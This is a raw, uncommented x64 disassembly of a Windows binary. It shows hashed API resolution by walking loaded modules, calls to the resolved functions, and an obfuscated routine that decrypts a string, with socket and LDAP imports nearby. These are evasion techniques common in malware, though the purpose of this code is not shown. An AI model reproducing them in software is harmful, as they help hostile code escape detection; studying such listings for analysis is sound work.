movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140159db2
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140159da5
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140159d96
cmp edx, esi
jne 0x140159e85
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140159e85
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140159e85
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140159e0c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140159e01
cmp edx, r14d
je 0x140159e22
test r11d, r11d
jne 0x140159dec
jmp 0x140159e85
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140159e9a
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140159e9a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140159e64
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140159e56
jmp 0x140159e79
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140159e6c
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140159e97
cmp qword [rbx + 0x30], r13
jne 0x140159d66
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x14015a00f
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140159f1e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140159f11
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140159f02
cmp edx, esi
jne 0x140159ff3
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140159ff3
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140159ff3
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140159f78
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140159f6d
cmp edx, r14d
je 0x140159f8e
test r9d, r9d
jne 0x140159f58
jmp 0x140159ff3
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14015a008
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x14015a008
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140159fd0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x140159fc2
jmp 0x140159fe6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x140159fd9
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015a005
cmp qword [rbx + 0x30], r13
jne 0x140159ed2
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14015a080
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14015a068
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14015a04c
cmp edx, 0x610c0de3
je 0x14015a0d6
mov r8, qword [r8]
cmp r8, r10
je 0x14015a076
cmp qword [r8 + 0x30], r13
jne 0x14015a032
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x14015a0d1
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x14015a0b5
cmp ecx, 0xe463da3c
je 0x14015a0dc
add r9d, edi
jmp 0x14015a099
mov r8, qword [r8 + 0x30]
jmp 0x14015a079
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x14015a26f
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015a17c
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015a16f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015a160
cmp edx, esi
jne 0x14015a24e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14015a24e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14015a24e
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015a1d0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015a1c5
cmp edx, r14d
je 0x14015a1e6
test r10d, r10d
jne 0x14015a1b0
jmp 0x14015a24e
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14015a263
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14015a263
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14015a241
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x14015a21d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x14015a234
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015a260
cmp qword [rbx + 0x30], r13
jne 0x14015a130
mov r10, r13
mov qword [0x1404fba00], r10
mov edi, 1
lea r9, [rbp + 0x11c0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14015a3ee
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015a300
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015a2f3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015a2e4
cmp edx, esi
jne 0x14015a3d2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015a3d2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015a3d2
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015a354
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015a349
cmp edx, r14d
je 0x14015a36a
test r11d, r11d
jne 0x14015a334
jmp 0x14015a3d2
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14015a3e7
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14015a3e7
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14015a3c5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x14015a3a1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x14015a3b8
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015a3e4
cmp qword [rbx + 0x30], r13
jne 0x14015a2b4
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
cmp byte [0x1404fba42], r13b
jne 0x14015f4e5
mov byte [rbp + 0xeb0], 0x9b
mov byte [rbp + 0xeb1], 0x59
mov byte [rbp + 0xeb2], 0x80
mov byte [rbp + 0xeb3], 0x5b
mov byte [rbp + 0xeb4], 0xa0
mov byte [rbp + 0xeb5], 0x45
mov byte [rbp + 0xeb6], 0xbb
mov byte [rbp + 0xeb7], 0x47
mov byte [rbp + 0xeb8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xeb9], 0x41
mov byte [rbp + 0xeba], 0xaf
mov byte [rbp + 0xebb], 0x43
mov byte [rbp + 0xebc], 0xde
mov byte [rbp + 0xebd], Ordinal_79
mov byte [rbp + 0xebe], 0xdd
mov byte [rbp + 0xebf], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xec0], 0xac
mov byte [rbp + 0xec1], Ordinal_79
mov byte [rbp + 0xec2], 0x86
mov byte [rbp + 0xec3], Ordinal_79
mov byte [rbp + 0xec4], 0x99
mov byte [rbp + 0xec5], 0x75
mov byte [rbp + 0xec6], 0x98
mov byte [rbp + 0xec7], 0x77
mov byte [rbp + 0xec8], __WSAFDIsSet
mov byte [rbp + 0xec9], WSACleanup
mov byte [rbp + 0xeca], 0xef
mov byte [rbp + 0xecb], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xecc], 0xe8
mov byte [rbp + 0xecd], 0x7d
mov byte [rbp + 0xece], 0xe2
mov byte [rbp + 0xecf], 0x7f
mov byte [rbp + 0xed0], 0x9c
mov byte [rbp + 0xed1], 0x79
mov byte [rbp + 0xed2], 0xbb
mov byte [rbp + 0xed3], 0x7b
mov byte [rbp + 0xed4], 0xf4
mov byte [rbp + 0xed5], 0x65
mov byte [rbp + 0xed6], 0xf6
mov byte [rbp + 0xed7], 0x67
mov byte [rbp + 0xed8], 0xac
mov byte [rbp + 0xed9], 0x61
mov byte [rbp + 0xeda], 0x83
mov byte [rbp + 0xedb], 0x63
mov byte [rbp + 0xedc], 0xf0
mov byte [rbp + 0xedd], WSASetLastError
mov byte [rbp + 0xede], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xedf], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xee0], Ordinal_143
mov byte [rbp + 0xee1], WSAGetLastError
mov byte [rbp + 0xee2], 0xa7
mov byte [rbp + 0xee3], WSASetLastError
mov byte [rbp + 0xee4], 0x88
mov byte [rbp + 0xee5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xee6], 0xfe
mov byte [rbp + 0xee7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xee8], 0xfd
mov byte [rbp + 0xee9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xeea], 0x80
mov byte [rbp + 0xeeb], reloc.WS2_32.dll_send
mov byte [rbp + 0xeec], 0xfd
mov byte [rbp + 0xeed], Ordinal_32
mov byte [rbp + 0xeee], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xeef], Ordinal_32
mov byte [rbp + 0xef0], 0xfa
mov byte [rbp + 0xef1], Ordinal_27
mov byte [rbp + 0xef2], 0xf3
mov byte [rbp + 0xef3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xef4], __WSAFDIsSet
mov byte [rbp + 0xef5], 5
mov byte [rbp + 0xef6], 6
mov byte [rbp + 0xef7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xef8], xmm0
mov qword [rbp + 0xf08], rax
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
mov r12d, Ordinal_41
mov r10, r13
mov esi, 1
cmp r10, 0x60
jae 0x14015b06f
movzx r8d, byte [rbp + r10 + 0xeb0]
mov edx, r8d
cmp rbx, r10
ja 0x14015b066
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14015a68c
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x2c
jmp 0x14015a6c3
je 0x14015afe4
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14015af95
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14015af35
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14015af0f
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x14015b05d
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14015a6f9
movabs rdi, 0x9ef08ee37fe4627c
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x64
add dil, r8b
jmp 0x14015a72d
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14015aec8
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14015aea4
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14015ae81
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14015ae5e
mov r14d, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x14015ab33
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14015ab10
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14015aafc
lea rax, [r9 + 8]
cmp rbx, rax
je 0x14015aad9
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14015aab6
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14015aa93
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14015aa6c
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x14015b03a
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14015b018
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14015a858
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14015a99f
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14015a970
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14015a740
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x14015a95c
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x14015a935
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x14015a912
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14015a8eb
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14015a8c4
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14015a8a0
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14015a87a
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14015a740
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x14015a733
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x14015aee6
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x14015af0a
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14015af2d
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14015af85
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14015ae25
movabs rdx, 0x8d8ec284548ad238
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14015afb1
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14015ab70
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xeb0], dil
jmp 0x14015b010
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x14015adfd
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14015ac3f
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x14015add5
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x14015ace4
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x14015a992
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14015aee6
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14015afb1
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14015ae25
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x14015af85
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14015af2d
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14015aeb3
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14015aee6
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x14015ab5a
lea rdx, [r10 + r11]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14015a9c1
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015ab88
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r14d
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14015b001
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015abb4
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14015ae25
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015abe0
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14015af82
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14015ac0f
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x14015af57
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14015a9c1
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14015aee6
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015ac6b
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x14015aee6
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015ac88
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14015aeb3
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015acb5
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14015af85
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14015a9fe
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x14015ae25
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015ad01
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14015ab70
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015ad2d
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14015afb1
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14015ad5a
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x14015af82
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14015ad77
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14015af44
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14015ada4
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x14015af2d
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015aa3a
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x14015af0a
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xeb0]
sub dil, al
sub dil, 0x20
jmp 0x14015af51
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xeb0]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xeb0], al
add r9, rsi
add rax, r9
sub r10, rax
jmp 0x14015afb1
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x14015af85
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x14015af57
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14015af0a
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xeb0], cl
add r9, rsi
jmp 0x14015af2d
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, rsi
jmp 0x14015b010
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r10 + 0xeb0], dl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14015b010
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xeb0], cl
add rbx, rsi
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14015b001
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xeb0]
add rax, r9
add r10, rax
add r10, rsi
jmp 0x14015a640
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r12b
jmp 0x14015a638
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14015a622
lea rdx, [rbp + 0x16a10c0]
jmp 0x14015b076
lea rdx, [rbp + 0x6bcc4c]
jmp 0x14015b076
lea rdx, [rbp + 0xeb0]
lea rcx, [rbp + 0x198]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2a70]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14015b0ab
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r15d, 0x40
